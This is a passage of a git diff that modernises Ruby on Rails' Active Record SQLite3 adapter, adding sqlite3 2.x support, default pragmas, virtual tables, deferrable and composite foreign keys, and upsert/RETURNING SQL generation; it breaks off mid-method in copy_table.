+          # and the declared type of that column is "INTEGER" in any mixture of upper and lower case,
+          # then the column becomes an alias for the rowid.
+          def is_column_the_rowid?(field, column_definitions)
+            return false unless INTEGER_REGEX.match?(field["type"]) && field["pk"] == 1
+            # is the primary key a single column?
+            column_definitions.one? { |c| c["pk"] > 0 }
+          end
+
+          def data_source_sql(name = nil, type: nil)
+            scope = quoted_scope(name, type: type)
+            scope[:type] ||= "'table','view'"
+
+            sql = +"SELECT name FROM pragma_table_list WHERE schema <> 'temp'"
+            sql << " AND name NOT IN ('sqlite_sequence', 'sqlite_schema')"
+            sql << " AND name = #{scope[:name]}" if scope[:name]
+            sql << " AND type IN (#{scope[:type]})"
+            sql
+          end
+
+          def quoted_scope(name = nil, type: nil)
+            type = \
+              case type
+              when "BASE TABLE"
+                "'table'"
+              when "VIEW"
+                "'view'"
+              when "VIRTUAL TABLE"
+                "'virtual'"
+              end
+            scope = {}
+            scope[:name] = quote(name) if name
+            scope[:type] = type if type
+            scope
+          end
+
+          def assert_valid_deferrable(deferrable)
+            return if !deferrable || %i(immediate deferred).include?(deferrable)
+
+            raise ArgumentError, "deferrable must be `:immediate` or `:deferred`, got: `#{deferrable.inspect}`"
+          end
+
+          def extract_generated_type(field)
+            case field["hidden"]
+            when 2 then :virtual
+            when 3 then :stored
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index 16ef195bfc9dd..23c64804c5395 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -1,63 +1,127 @@
+# frozen_string_literal: true
+
 require "active_record/connection_adapters/abstract_adapter"
 require "active_record/connection_adapters/statement_pool"
+require "active_record/connection_adapters/sqlite3/column"
 require "active_record/connection_adapters/sqlite3/explain_pretty_printer"
 require "active_record/connection_adapters/sqlite3/quoting"
+require "active_record/connection_adapters/sqlite3/database_statements"
 require "active_record/connection_adapters/sqlite3/schema_creation"
 require "active_record/connection_adapters/sqlite3/schema_definitions"
 require "active_record/connection_adapters/sqlite3/schema_dumper"
+require "active_record/connection_adapters/sqlite3/schema_statements"
 
-gem "sqlite3", "~> 1.3.6"
+gem "sqlite3", ">= 2.1"
 require "sqlite3"
 
+# Suppress the warning that SQLite3 issues when open writable connections are carried across fork()
+SQLite3::ForkSafety.suppress_warnings!
+
 module ActiveRecord
-  module ConnectionHandling # :nodoc:
-    def sqlite3_connection(config)
-      # Require database.
-      unless config[:database]
-        raise ArgumentError, "No database file specified. Missing argument: database"
-      end
+  module ConnectionAdapters # :nodoc:
+    # = Active Record \SQLite3 Adapter
+    #
+    # The \SQLite3 adapter works with the sqlite3[https://sparklemotion.github.io/sqlite3-ruby/]
+    # driver.
+    #
+    # ==== Options
+    #
+    # * +:database+ (String): Filesystem path to the database file.
+    # * +:statement_limit+ (Integer): Maximum number of prepared statements to cache per database connection. (default: 1000)
+    # * +:timeout+ (Integer): Timeout in milliseconds to use when waiting for a lock. (default: no wait)
+    # * +:strict+ (Boolean): Enable or disable strict mode. When enabled, this will
+    #   {disallow double-quoted string literals in SQL
+    #   statements}[https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted].
+    #   (default: see strict_strings_by_default)
+    # * +:extensions+ (Array): (<b>requires sqlite3 v2.4.0</b>) Each entry specifies a sqlite extension
+    #   to load for this database. The entry may be a filesystem path, or the name of a class that
+    #   responds to +.to_path+ to provide the filesystem path for the extension. See {sqlite3-ruby
+    #   documentation}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#class-SQLite3::Database-label-SQLite+Extensions]
+    #   for more information.
+    #
+    # There may be other options available specific to the SQLite3 driver. Please read the
+    # documentation for
+    # {SQLite3::Database.new}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#method-c-new]
+    #
+    class SQLite3Adapter < AbstractAdapter
+      ADAPTER_NAME = "SQLite"
+
+      class << self
+        def new_client(config)
+          ::SQLite3::Database.new(config[:database].to_s, config)
+        rescue Errno::ENOENT => error
+          if error.message.include?("No such file or directory")
+            raise ActiveRecord::NoDatabaseError
+          else
+            raise
+          end
+        end
 
-      # Allow database path relative to Rails.root, but only if the database
-      # path is not the special path that tells sqlite to build a database only
-      # in memory.
-      if ":memory:" != config[:database]
-        config[:database] = File.expand_path(config[:database], Rails.root) if defined?(Rails.root)
-        dirname = File.dirname(config[:database])
-        Dir.mkdir(dirname) unless File.directory?(dirname)
-      end
+        def dbconsole(config, options = {})
+          args = []
 
-      db = SQLite3::Database.new(
-        config[:database].to_s,
-        results_as_hash: true
-      )
+          args << "-#{options[:mode]}" if options[:mode]
+          args << "-header" if options[:header]
+          args << File.expand_path(config.database, defined?(Rails.root) ? Rails.root : nil)
 
-      db.busy_timeout(ConnectionAdapters::SQLite3Adapter.type_cast_config_to_integer(config[:timeout])) if config[:timeout]
+          find_cmd_and_exec(ActiveRecord.database_cli[:sqlite], *args)
+        end
 
-      ConnectionAdapters::SQLite3Adapter.new(db, logger, nil, config)
-    rescue Errno::ENOENT => error
-      if error.message.include?("No such file or directory")
-        raise ActiveRecord::NoDatabaseError
-      else
-        raise
-      end
-    end
-  end
+        def native_database_types # :nodoc:
+          NATIVE_DATABASE_TYPES
+        end
 
-  module ConnectionAdapters #:nodoc:
-    # The SQLite3 adapter works SQLite 3.6.16 or newer
-    # with the sqlite3-ruby drivers (available as gem from https://rubygems.org/gems/sqlite3).
-    #
-    # Options:
-    #
-    # * <tt>:database</tt> - Path to the database file.
-    class SQLite3Adapter < AbstractAdapter
-      ADAPTER_NAME = "SQLite".freeze
+        # Returns a filesystem path to the database.
+        #
+        # The configuration's :database value may be a (slightly nonstandard) SQLite URI, so this
+        # method will resolve those URIs to a string path.
+        #
+        # If Rails.root is available, this is guaranteed to be an absolute path.
+        #
+        # See https://www.sqlite.org/uri.html
+        def resolve_path(database, root: nil)
+          database = database.to_s
+          root ||= defined?(Rails.root) ? Rails.root : nil
+
+          path = if database.start_with?("file:/")
+            URI.parse(database).path
+          elsif database.start_with?("file:")
+            URI.parse(database.split("?").first).opaque
+          else
+            database
+          end
+
+          if root.present?
+            File.expand_path(path, root)
+          else
+            path
+          end
+        end
+      end
 
       include SQLite3::Quoting
-      include SQLite3::ColumnDumper
+      include SQLite3::SchemaStatements
+      include SQLite3::DatabaseStatements
+
+      ##
+      # :singleton-method:
+      #
+      # Configure the SQLite3Adapter to be used in a "strict strings" mode. When enabled, this will
+      # {disallow double-quoted string literals in SQL
+      # statements}[https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted],
+      # which may prevent some typographical errors like creating an index for a non-existent
+      # column. The default is +false+.
+      #
+      # If you wish to enable this mode you can add the following line to your application.rb file:
+      #
+      #   config.active_record.sqlite3_adapter_strict_strings_by_default = true
+      #
+      # This can also be configured on individual databases by setting the +strict:+ option.
+      #
+      class_attribute :strict_strings_by_default, default: false
 
       NATIVE_DATABASE_TYPES = {
-        primary_key:  "INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL",
+        primary_key:  "integer PRIMARY KEY AUTOINCREMENT NOT NULL",
         string:       { name: "varchar" },
         text:         { name: "text" },
         integer:      { name: "integer" },
@@ -67,36 +131,67 @@ class SQLite3Adapter < AbstractAdapter
         time:         { name: "time" },
         date:         { name: "date" },
         binary:       { name: "blob" },
-        boolean:      { name: "boolean" }
+        boolean:      { name: "boolean" },
+        json:         { name: "json" },
       }
 
-      class StatementPool < ConnectionAdapters::StatementPool
-        private
+      DEFAULT_PRAGMAS = {
+        "foreign_keys"        => true,
+        "journal_mode"        => :wal,
+        "synchronous"         => :normal,
+        "mmap_size"           => 134217728, # 128 megabytes
+        "journal_size_limit"  => 67108864, # 64 megabytes
+        "cache_size"          => 2000
+      }
 
+      class StatementPool < ConnectionAdapters::StatementPool # :nodoc:
+        alias reset clear
+
+        private
           def dealloc(stmt)
-            stmt[:stmt].close unless stmt[:stmt].closed?
+            stmt.close unless stmt.closed?
           end
       end
 
-      def update_table_definition(table_name, base) # :nodoc:
-        SQLite3::Table.new(table_name, base)
-      end
+      def initialize(...)
+        super
 
-      def schema_creation # :nodoc:
-        SQLite3::SchemaCreation.new self
-      end
+        @memory_database = false
+        case @config[:database].to_s
+        when ""
+          raise ArgumentError, "No database file specified. Missing argument: database"
+        when ":memory:"
+          @memory_database = true
+        else
+          database_path = SQLite3Adapter.resolve_path(@config[:database])
+          @config[:database] = database_path unless @config[:database].to_s.start_with?("file:")
+          dirname = File.dirname(database_path)
+          unless File.directory?(dirname)
+            begin
+              FileUtils.mkdir_p(dirname)
+            rescue SystemCallError
+              raise ActiveRecord::NoDatabaseError.new(connection_pool: @pool)
+            end
+          end
+        end
 
-      def arel_visitor # :nodoc:
-        Arel::Visitors::SQLite.new(self)
-      end
+        @previous_read_uncommitted = nil
+        @config[:strict] = ConnectionAdapters::SQLite3Adapter.strict_strings_by_default unless @config.key?(:strict)
 
-      def initialize(connection, logger, connection_options, config)
-        super(connection, logger, config)
+        extensions = @config.fetch(:extensions, []).map do |extension|
+          extension.safe_constantize || extension
+        end
 
-        @active     = nil
-        @statements = StatementPool.new(self.class.type_cast_config_to_integer(config[:statement_limit]))
+        @connection_parameters = @config.merge(
+          database: @config[:database].to_s,
+          results_as_hash: true,
+          default_transaction_mode: :immediate,
+          extensions: extensions
+        )
+      end
 
-        configure_connection
+      def database_exists?
+        @config[:database] == ":memory:" || File.exist?(@config[:database].to_s)
       end
 
       def supports_ddl_transactions?
@@ -107,18 +202,15 @@ def supports_savepoints?
         true
       end
 
-      def supports_partial_index?
-        sqlite_version >= "3.8.0"
+      def supports_transaction_isolation?
+        true
       end
 
-      # Returns true, since this connection adapter supports prepared statement
-      # caching.
-      def supports_statement_cache?
+      def supports_partial_index?
         true
       end
 
-      # Returns true, since this connection adapter supports migrations.
-      def supports_migrations? #:nodoc:
+      def supports_expression_index?
         true
       end
 
@@ -126,8 +218,12 @@ def requires_reloading?
         true
       end
 
-      def supports_foreign_keys_in_create?
-        sqlite_version >= "3.6.19"
+      def supports_foreign_keys?
+        true
+      end
+
+      def supports_check_constraints?
+        true
       end
 
       def supports_views?
@@ -138,270 +234,189 @@ def supports_datetime_with_precision?
         true
       end
 
-      def supports_multi_insert?
-        sqlite_version >= "3.7.11"
+      def supports_json?
+        true
+      end
+
+      def supports_common_table_expressions?
+        true
+      end
+
+      def supports_insert_returning?
+        database_version >= "3.35.0"
+      end
+
+      def supports_insert_on_conflict?
+        database_version >= "3.24.0"
+      end
+      alias supports_insert_on_duplicate_skip? supports_insert_on_conflict?
+      alias supports_insert_on_duplicate_update? supports_insert_on_conflict?
+      alias supports_insert_conflict_target? supports_insert_on_conflict?
+
+      def supports_concurrent_connections?
+        !@memory_database
+      end
+
+      def supports_virtual_columns?
+        database_version >= "3.31.0"
+      end
+
+      def connected?
+        !(@raw_connection.nil? || @raw_connection.closed?)
       end
 
       def active?
-        @active != false
+        if connected?
+          verified!
+          true
+        end
       end
 
+      alias :reset! :reconnect!
+
       # Disconnects from the database if already connected. Otherwise, this
       # method does nothing.
       def disconnect!
         super
-        @active = false
-        @connection.close rescue nil
-      end
 
-      # Clears the prepared statements cache.
-      def clear_cache!
-        @statements.clear
+        @raw_connection&.close rescue nil
+        @raw_connection = nil
       end
 
       def supports_index_sort_order?
         true
       end
 
-      def valid_type?(type)
-        true
-      end
-
-      # Returns 62. SQLite supports index names up to 64
-      # characters. The rest is used by Rails internally to perform
-      # temporary rename operations
-      def allowed_index_name_length
-        index_name_length - 2
+      # Returns the current database encoding format as a string, e.g. 'UTF-8'
+      def encoding
+        any_raw_connection.encoding.to_s
       end
 
-      def native_database_types #:nodoc:
-        NATIVE_DATABASE_TYPES
+      def supports_explain?
+        true
       end
 
-      # Returns the current database encoding format as a string, eg: 'UTF-8'
-      def encoding
-        @connection.encoding.to_s
+      def supports_lazy_transactions?
+        true
       end
 
-      def supports_explain?
+      def supports_deferrable_constraints?
         true
       end
 
       # REFERENTIAL INTEGRITY ====================================
 
       def disable_referential_integrity # :nodoc:
-        old = select_value("PRAGMA foreign_keys")
+        old_foreign_keys = query_value("PRAGMA foreign_keys", nil)
+        old_defer_foreign_keys = query_value("PRAGMA defer_foreign_keys", nil)
 
         begin
+          execute("PRAGMA defer_foreign_keys = ON")
           execute("PRAGMA foreign_keys = OFF")
           yield
         ensure
-          execute("PRAGMA foreign_keys = #{old}")
+          execute("PRAGMA defer_foreign_keys = #{old_defer_foreign_keys}")
+          execute("PRAGMA foreign_keys = #{old_foreign_keys}")
         end
       end
 
-      #--
-      # DATABASE STATEMENTS ======================================
-      #++
-
-      def explain(arel, binds = [])
-        sql = "EXPLAIN QUERY PLAN #{to_sql(arel, binds)}"
-        SQLite3::ExplainPrettyPrinter.new.pp(exec_query(sql, "EXPLAIN", []))
-      end
-
-      def exec_query(sql, name = nil, binds = [], prepare: false)
-        type_casted_binds = type_casted_binds(binds)
-
-        log(sql, name, binds, type_casted_binds) do
-          ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-            # Don't cache statements if they are not prepared
-            unless prepare
-              stmt = @connection.prepare(sql)
-              begin
-                cols = stmt.columns
-                unless without_prepared_statement?(binds)
-                  stmt.bind_params(type_casted_binds)
-                end
-                records = stmt.to_a
-              ensure
-                stmt.close
-              end
-            else
-              cache = @statements[sql] ||= {
-                stmt: @connection.prepare(sql)
-              }
-              stmt = cache[:stmt]
-              cols = cache[:cols] ||= stmt.columns
-              stmt.reset!
-              stmt.bind_params(type_casted_binds)
-              records = stmt.to_a
-            end
+      def check_all_foreign_keys_valid! # :nodoc:
+        sql = "PRAGMA foreign_key_check"
+        result = execute(sql)
 
-            ActiveRecord::Result.new(cols, records)
-          end
+        unless result.blank?
+          tables = result.map { |row| row["table"] }
+          raise ActiveRecord::StatementInvalid.new("Foreign key violations found: #{tables.join(", ")}", sql: sql, connection_pool: @pool)
         end
       end
 
-      def exec_delete(sql, name = "SQL", binds = [])
-        exec_query(sql, name, binds)
-        @connection.changes
-      end
-      alias :exec_update :exec_delete
-
-      def last_inserted_id(result)
-        @connection.last_insert_row_id
-      end
-
-      def execute(sql, name = nil) #:nodoc:
-        log(sql, name) do
-          ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-            @connection.execute(sql)
-          end
-        end
-      end
-
-      def begin_db_transaction #:nodoc:
-        log("begin transaction", nil) { @connection.transaction }
-      end
-
-      def commit_db_transaction #:nodoc:
-        log("commit transaction", nil) { @connection.commit }
-      end
-
-      def exec_rollback_db_transaction #:nodoc:
-        log("rollback transaction", nil) { @connection.rollback }
-      end
-
       # SCHEMA STATEMENTS ========================================
 
-      def tables # :nodoc:
-        select_values("SELECT name FROM sqlite_master WHERE type = 'table' AND name <> 'sqlite_sequence'", "SCHEMA")
-      end
-
-      def data_sources # :nodoc:
-        select_values("SELECT name FROM sqlite_master WHERE type IN ('table','view') AND name <> 'sqlite_sequence'", "SCHEMA")
-      end
-
-      def views # :nodoc:
-        select_values("SELECT name FROM sqlite_master WHERE type = 'view' AND name <> 'sqlite_sequence'", "SCHEMA")
-      end
-
-      def table_exists?(table_name) # :nodoc:
-        return false unless table_name.present?
-
-        sql = "SELECT name FROM sqlite_master WHERE type = 'table' AND name <> 'sqlite_sequence'"
-        sql << " AND name = #{quote(table_name)}"
-
-        select_values(sql, "SCHEMA").any?
+      def primary_keys(table_name) # :nodoc:
+        pks = table_structure(table_name).select { |f| f["pk"] > 0 }
+        pks.sort_by { |f| f["pk"] }.map { |f| f["name"] }
       end
 
-      def data_source_exists?(table_name) # :nodoc:
-        return false unless table_name.present?
+      def remove_index(table_name, column_name = nil, **options) # :nodoc:
+        return if options[:if_exists] && !index_exists?(table_name, column_name, **options)
 
-        sql = "SELECT name FROM sqlite_master WHERE type IN ('table','view') AND name <> 'sqlite_sequence'"
-        sql << " AND name = #{quote(table_name)}"
+        index_name = index_name_for_remove(table_name, column_name, options)
 
-        select_values(sql, "SCHEMA").any?
+        exec_query "DROP INDEX #{quote_column_name(index_name)}"
       end
 
-      def view_exists?(view_name) # :nodoc:
-        return false unless view_name.present?
+      VIRTUAL_TABLE_REGEX = /USING\s+(\w+)\s*\((.+)\)/i
 
-        sql = "SELECT name FROM sqlite_master WHERE type = 'view' AND name <> 'sqlite_sequence'"
-        sql << " AND name = #{quote(view_name)}"
+      # Returns a list of defined virtual tables
+      def virtual_tables
+        query = <<~SQL
+          SELECT name, sql FROM sqlite_master WHERE sql LIKE 'CREATE VIRTUAL %';
+        SQL
 
-        select_values(sql, "SCHEMA").any?
+        query_rows(query).each_with_object({}) do |(table_name, sql), memo|
+          _, module_name, arguments = sql.match(VIRTUAL_TABLE_REGEX).to_a
+          memo[table_name] = [module_name, arguments]
+        end.to_a
       end
 
-      def new_column_from_field(table_name, field) # :nondoc:
-        case field["dflt_value"]
-        when /^null$/i
-          field["dflt_value"] = nil
-        when /^'(.*)'$/m
-          field["dflt_value"] = $1.gsub("''", "'")
-        when /^"(.*)"$/m
-          field["dflt_value"] = $1.gsub('""', '"')
-        end
-
-        collation = field["collation"]
-        sql_type = field["type"]
-        type_metadata = fetch_type_metadata(sql_type)
-        new_column(field["name"], field["dflt_value"], type_metadata, field["notnull"].to_i == 0, table_name, nil, collation)
-      end
-
-      # Returns an array of indexes for the given table.
-      def indexes(table_name, name = nil) #:nodoc:
-        if name
-          ActiveSupport::Deprecation.warn(<<-MSG.squish)
-            Passing name to #indexes is deprecated without replacement.
-          MSG
-        end
-
-        exec_query("PRAGMA index_list(#{quote_table_name(table_name)})", "SCHEMA").map do |row|
-          sql = <<-SQL
-            SELECT sql
-            FROM sqlite_master
-            WHERE name=#{quote(row['name'])} AND type='index'
-            UNION ALL
-            SELECT sql
-            FROM sqlite_temp_master
-            WHERE name=#{quote(row['name'])} AND type='index'
-          SQL
-          index_sql = exec_query(sql).first["sql"]
-          match = /\sWHERE\s+(.+)$/i.match(index_sql)
-          where = match[1] if match
-          IndexDefinition.new(
-            table_name,
-            row["name"],
-            row["unique"] != 0,
-            exec_query("PRAGMA index_info('#{row['name']}')", "SCHEMA").map { |col|
-              col["name"]
-            }, nil, nil, where)
-        end
-      end
-
-      def primary_keys(table_name) # :nodoc:
-        pks = table_structure(table_name).select { |f| f["pk"] > 0 }
-        pks.sort_by { |f| f["pk"] }.map { |f| f["name"] }
+      # Creates a virtual table
+      #
+      # Example:
+      #   create_virtual_table :emails, :fts5, ['sender', 'title', 'body']
+      def create_virtual_table(table_name, module_name, values)
+        exec_query "CREATE VIRTUAL TABLE IF NOT EXISTS #{table_name} USING #{module_name} (#{values.join(", ")})"
       end
 
-      def remove_index(table_name, options = {}) #:nodoc:
-        index_name = index_name_for_remove(table_name, options)
-        exec_query "DROP INDEX #{quote_column_name(index_name)}"
+      # Drops a virtual table
+      #
+      # Although this command ignores +module_name+ and +values+,
+      # it can be helpful to provide these in a migration's +change+ method so it can be reverted.
+      # In that case, +module_name+, +values+ and +options+ will be used by #create_virtual_table.
+      def drop_virtual_table(table_name, module_name, values, **options)
+        drop_table(table_name)
       end
 
       # Renames a table.
       #
       # Example:
       #   rename_table('octopuses', 'octopi')
-      def rename_table(table_name, new_name)
+      def rename_table(table_name, new_name, **options)
+        validate_table_length!(new_name) unless options[:_uses_legacy_table_name]
+        schema_cache.clear_data_source_cache!(table_name.to_s)
+        schema_cache.clear_data_source_cache!(new_name.to_s)
         exec_query "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
-        rename_table_indexes(table_name, new_name)
+        rename_table_indexes(table_name, new_name, **options)
       end
 
-      # See: http://www.sqlite.org/lang_altertable.html
-      # SQLite has an additional restriction on the ALTER TABLE statement
-      def valid_alter_table_type?(type)
-        type.to_sym != :primary_key
-      end
-
-      def add_column(table_name, column_name, type, options = {}) #:nodoc:
-        if valid_alter_table_type?(type)
-          super(table_name, column_name, type, options)
-        else
+      def add_column(table_name, column_name, type, **options) # :nodoc:
+        type = type.to_sym
+        if invalid_alter_table_type?(type, options)
           alter_table(table_name) do |definition|
-            definition.column(column_name, type, options)
+            definition.column(column_name, type, **options)
           end
+        else
+          super
         end
       end
 
-      def remove_column(table_name, column_name, type = nil, options = {}) #:nodoc:
+      def remove_column(table_name, column_name, type = nil, **options) # :nodoc:
         alter_table(table_name) do |definition|
           definition.remove_column column_name
+          definition.foreign_keys.delete_if { |fk| fk.column == column_name.to_s }
+        end
+      end
+
+      def remove_columns(table_name, *column_names, type: nil, **options) # :nodoc:
+        alter_table(table_name) do |definition|
+          column_names.each do |column_name|
+            definition.remove_column column_name
+          end
+          column_names = column_names.map(&:to_s)
+          definition.foreign_keys.delete_if { |fk| column_names.include?(fk.column) }
         end
       end
 
-      def change_column_default(table_name, column_name, default_or_changes) #:nodoc:
+      def change_column_default(table_name, column_name, default_or_changes) # :nodoc:
         default = extract_new_default_value(default_or_changes)
 
         alter_table(table_name) do |definition|
@@ -409,71 +424,225 @@ def change_column_default(table_name, column_name, default_or_changes) #:nodoc:
         end
       end
 
-      def change_column_null(table_name, column_name, null, default = nil) #:nodoc:
+      def change_column_null(table_name, column_name, null, default = nil) # :nodoc:
+        validate_change_column_null_argument!(null)
+
         unless null || default.nil?
-          exec_query("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+          query_command("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
         end
         alter_table(table_name) do |definition|
           definition[column_name].null = null
         end
       end
 
-      def change_column(table_name, column_name, type, options = {}) #:nodoc:
+      def change_column(table_name, column_name, type, **options) # :nodoc:
         alter_table(table_name) do |definition|
-          include_default = options_include_default?(options)
-          definition[column_name].instance_eval do
-            self.type    = type
-            self.limit   = options[:limit] if options.include?(:limit)
-            self.default = options[:default] if include_default
-            self.null    = options[:null] if options.include?(:null)
-            self.precision = options[:precision] if options.include?(:precision)
-            self.scale = options[:scale] if options.include?(:scale)
-            self.collation = options[:collation] if options.include?(:collation)
-          end
+          definition.change_column(column_name, type, **options)
         end
       end
 
-      def rename_column(table_name, column_name, new_column_name) #:nodoc:
+      def rename_column(table_name, column_name, new_column_name) # :nodoc:
         column = column_for(table_name, column_name)
         alter_table(table_name, rename: { column.name => new_column_name.to_s })
         rename_column_indexes(table_name, column.name, new_column_name)
       end
 
+      def add_timestamps(table_name, **options)
+        options[:null] = false if options[:null].nil?
+
+        if !options.key?(:precision)
+          options[:precision] = 6
+        end
+
+        alter_table(table_name) do |definition|
+          definition.column :created_at, :datetime, **options
+          definition.column :updated_at, :datetime, **options
+        end
+      end
+
       def add_reference(table_name, ref_name, **options) # :nodoc:
         super(table_name, ref_name, type: :integer, **options)
       end
       alias :add_belongs_to :add_reference
 
+      FK_REGEX = /.*FOREIGN KEY\s+\("([^"]+)"\)\s+REFERENCES\s+"(\w+)"\s+\("(\w+)"\)/
+      DEFERRABLE_REGEX = /DEFERRABLE INITIALLY (\w+)/
       def foreign_keys(table_name)
-        fk_info = select_all("PRAGMA foreign_key_list(#{quote(table_name)})", "SCHEMA")
-        fk_info.map do |row|
+        # SQLite returns 1 row for each column of composite foreign keys.
+        fk_info = query_all("PRAGMA foreign_key_list(#{quote(table_name)})")
+        # Deferred or immediate foreign keys can only be seen in the CREATE TABLE sql
+        fk_defs = table_structure_sql(table_name)
+                    .select do |column_string|
+                      column_string.start_with?("CONSTRAINT") &&
+                      column_string.include?("FOREIGN KEY")
+                    end
+                    .to_h do |fk_string|
+                      _, from, table, to = fk_string.match(FK_REGEX).to_a
+                      _, mode = fk_string.match(DEFERRABLE_REGEX).to_a
+                      deferred = mode&.downcase&.to_sym || false
+                      [[table, from, to], deferred]
+                    end
+
+        grouped_fk = fk_info.group_by { |row| row["id"] }.values.each { |group| group.sort_by! { |row| row["seq"] } }
+        grouped_fk.map do |group|
+          row = group.first
           options = {
-            column: row["from"],
-            primary_key: row["to"],
             on_delete: extract_foreign_key_action(row["on_delete"]),
-            on_update: extract_foreign_key_action(row["on_update"])
+            on_update: extract_foreign_key_action(row["on_update"]),
+            deferrable: fk_defs[[row["table"], row["from"], row["to"]]]
           }
+
+          if group.one?
+            options[:column] = row["from"]
+            options[:primary_key] = row["to"]
+          else
+            options[:column] = group.map { |row| row["from"] }
+            options[:primary_key] = group.map { |row| row["to"] }
+          end
           ForeignKeyDefinition.new(table_name, row["table"], options)
         end
       end
 
+      def build_insert_sql(insert) # :nodoc:
+        sql = +"INSERT #{insert.into} #{insert.values_list}"
+
+        if insert.skip_duplicates?
+          sql << " ON CONFLICT #{insert.conflict_target} DO NOTHING"
+        elsif insert.update_duplicates?
+          sql << " ON CONFLICT #{insert.conflict_target} DO UPDATE SET "
+          if insert.raw_update_sql?
+            sql << insert.raw_update_sql
+          else
+            sql << insert.touch_model_timestamps_unless { |column| "#{column} IS excluded.#{column}" }
+            sql << insert.updatable_columns.map { |column| "#{column}=excluded.#{column}" }.join(",")
+          end
+        end
+
+        sql << " RETURNING #{insert.returning}" if insert.returning
+        sql
+      end
+
+      def shared_cache? # :nodoc:
+        @config.fetch(:flags, 0).anybits?(::SQLite3::Constants::Open::SHAREDCACHE)
+      end
+
+      def get_database_version # :nodoc:
+        SQLite3Adapter::Version.new(query_value("SELECT sqlite_version(*)"))
+      end
+
+      def check_version # :nodoc:
+        if database_version < "3.23.0"
+          raise "Your version of SQLite (#{database_version}) is too old. Active Record supports SQLite >= 3.23.0."
+        end
+      end
+
+      class SQLite3Integer < Type::Integer # :nodoc:
+        private
+          def _limit
+            # INTEGER storage class can be stored 8 bytes value.
+            # See https://www.sqlite.org/datatype3.html#storage_classes_and_datatypes
+            limit || 8
+          end
+      end
+
+      ActiveRecord::Type.register(:integer, SQLite3Integer, adapter: :sqlite3)
+
+      class << self
+        private
+          def initialize_type_map(m)
+            super
+            register_class_with_limit m, %r(int)i, SQLite3Integer
+          end
+      end
+
+      TYPE_MAP = Type::TypeMap.new.tap { |m| initialize_type_map(m) }
+      EXTENDED_TYPE_MAPS = Concurrent::Map.new
+
       private
+        # See https://www.sqlite.org/limits.html,
+        # the default value is 999 when not configured.
+        def bind_params_length
+          999
+        end
 
         def table_structure(table_name)
-          structure = exec_query("PRAGMA table_info(#{quote_table_name(table_name)})", "SCHEMA")
-          raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty?
+          structure = table_info(table_name)
+          raise ActiveRecord::StatementInvalid.new("Could not find table '#{table_name}'", connection_pool: @pool) if structure.empty?
           table_structure_with_collation(table_name, structure)
         end
         alias column_definitions table_structure
 
-        def alter_table(table_name, options = {})
+        def extract_value_from_default(default)
+          case default
+          when /^null$/i
+            nil
+          # Quoted types
+          when /^'([^|]*)'$/m
+            $1.gsub("''", "'")
+          # Quoted types
+          when /^"([^|]*)"$/m
+            $1.gsub('""', '"')
+          # Numeric types
+          when /\A-?\d+(\.\d*)?\z/
+            $&
+          # Binary columns
+          when /x'(.*)'/
+            [ $1 ].pack("H*")
+          when "TRUE", "FALSE"
+            default
+          else
+            # Anything else is blank or some function
+            # and we can't know the value of that, so return nil.
+            nil
+          end
+        end
+
+        def extract_default_function(default_value, default)
+          default if has_default_function?(default_value, default)
+        end
+
+        def has_default_function?(default_value, default)
+          !default_value && %r{\w+\(.*\)|CURRENT_TIME|CURRENT_DATE|CURRENT_TIMESTAMP|\|\|}.match?(default)
+        end
+
+        # See: https://www.sqlite.org/lang_altertable.html
+        # SQLite has an additional restriction on the ALTER TABLE statement
+        def invalid_alter_table_type?(type, options)
+          type == :primary_key || options[:primary_key] ||
+            options[:null] == false && options[:default].nil? ||
+            (type == :virtual && options[:stored])
+        end
+
+        def alter_table(
+          table_name,
+          foreign_keys = foreign_keys(table_name),
+          check_constraints = check_constraints(table_name),
+          **options
+        )
           altered_table_name = "a#{table_name}"
-          caller = lambda { |definition| yield definition if block_given? }
 
-          transaction do
-            move_table(table_name, altered_table_name,
-              options.merge(temporary: true))
-            move_table(altered_table_name, table_name, &caller)
+          caller = lambda do |definition|
+            rename = options[:rename] || {}
+            foreign_keys.each do |fk|
+              if column = rename[fk.options[:column]]
+                fk.options[:column] = column
+              end
+              to_table = strip_table_name_prefix_and_suffix(fk.to_table)
+              definition.foreign_key(to_table, **fk.options)
+            end
+
+            check_constraints.each do |chk|
+              definition.check_constraint(chk.expression, **chk.options)
+            end
+
+            yield definition if block_given?
+          end
+
+          disable_referential_integrity do
+            transaction do
+              move_table(table_name, altered_table_name, options.merge(temporary: true))
+              move_table(altered_table_name, table_name, &caller)
+            end
           end
         end
 
@@ -485,26 +654,52 @@ def move_table(from, to, options = {}, &block)
         def copy_table(from, to, options = {})
           from_primary_key = primary_key(from)
           options[:id] = false
-          create_table(to, options) do |definition|
+          create_table(to, **options) do |definition|
             @definition = definition
-            @definition.primary_key(from_primary_key) if from_primary_key.present?
+            if from_primary_key.is_a?(Array)
+              @definition.primary_keys from_primary_key
+            end
+
             columns(from).each do |column|
               column_name = options[:rename] ?
                 (options[:rename][column.name] ||
                  options[:rename][column.name.to_sym] ||
                  column.name) : column.name
-              next if column_name == from_primary_key
 
-              @definition.column(column_name, column.type,
-                limit: column.limit, default: column.default,
-                precision: column.precision, scale: column.scale,
-                null: column.null, collation: column.collation)
+              column_options = {
+                limit: column.limit,
+                precision: column.precision,
+                scale: column.scale,
+                null: column.null,
+                collation: column.collation,
+                primary_key: column_name == from_primary_key
+              }
+
+              if column.virtual?
+                column_options[:as] = column.default_function
+                column_options[:stored] = column.virtual_stored?
+                column_options[:type] = column.type
